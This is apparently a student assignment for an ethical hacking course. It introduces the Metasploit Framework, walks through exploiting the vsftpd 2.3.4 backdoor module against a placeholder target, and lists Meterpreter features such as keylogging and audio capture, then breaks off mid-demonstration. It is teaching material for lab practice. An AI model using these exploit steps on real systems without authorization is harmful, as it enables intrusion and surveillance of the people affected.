A logo with a person in a hoodie using a computer

AI-generated content may be incorrect.

**MISSION HACKERS**

**BANGLADESH**

**Assignment No-08**

**Assignment Title: Introduction to Exploitation**

**Course Title: Cybersecurity & Ethical Hacking**

**Submitted by:**

**Name: Istiak Alam**

**Phone: 01765376101**

**Submission Date: 29-07-25**

**Tools / Topic: Introduction to Metasploit Framework**

**Submitted to:**

**MD Sha Jalal**

**Founder of Mission Hackers Bangladesh**

**Metasploit Framework :**

The **Metasploit Framework** is an open-source penetration testing platform that allows to find, exploit, and validate vulnerabilities in systems. It's like a “hacker's Swiss Army knife” used by Cybersecurity professionals to test network and system defenses.

## 🔑 Key Concepts

| Term | Meaning |
| --- | --- |
| **Exploit** | Code that takes advantage of a vulnerability. |
| **Payload** | Code that runs on the target after exploitation (e.g., a reverse shell). |
| **Listener** | The attacker’s machine that waits for the payload to connect back. |
| **Module** | A script/plugin in Metasploit. Can be exploits, scanners, payloads, etc. |
| **Session** | A communication link between attacker and victim (e.g., Meterpreter). |

## 🔧 Let’s Start Metasploit on Kali Linux

1. **Start PostgreSQL (Metasploit uses it)**

**sudo systemctl start postgresql**

1. **Launch Metasploit Console**

**msfconsole**

## 🎯 Common Metasploit Commands

| Command | Description |
| --- | --- |
| search | Search for exploit modules |
| use | Select a specific module |
| show options | View required options for a module |
| set | Set parameters like RHOST, LHOST, etc. |
| exploit | Run the exploit |
| sessions | List active sessions |
| sessions -i <ID> | Interact with a session |

## ✅ Example: Exploiting vsftpd 2.3.4 (Backdoor vulnerability)

### Step 1: Start Metasploit

**msfconsole**

### Step 2: Search the exploit

**search vsftpd**

### Step 3: Use the module

**use exploit/unix/ftp/vsftpd\_234\_backdoor**

### Step 4: Set target IP

**set RHOSTS <target-ip>**

### Step 5: Run the exploit

**exploit**

we’ll get a shell if it’s successful!

## 🐚 What is Meterpreter?

Meterpreter is an advanced, stealthy payload that gives a **reverse shell** on the target system. With Meterpreter we can:

* Browse the target file system
* Capture screenshots
* Download/upload files
* Open a keylogger
* Record microphone audio

Let’s See some Demonstration :

Step 1 : Start Metasploit-Framework [msfconsole]



Step 2 :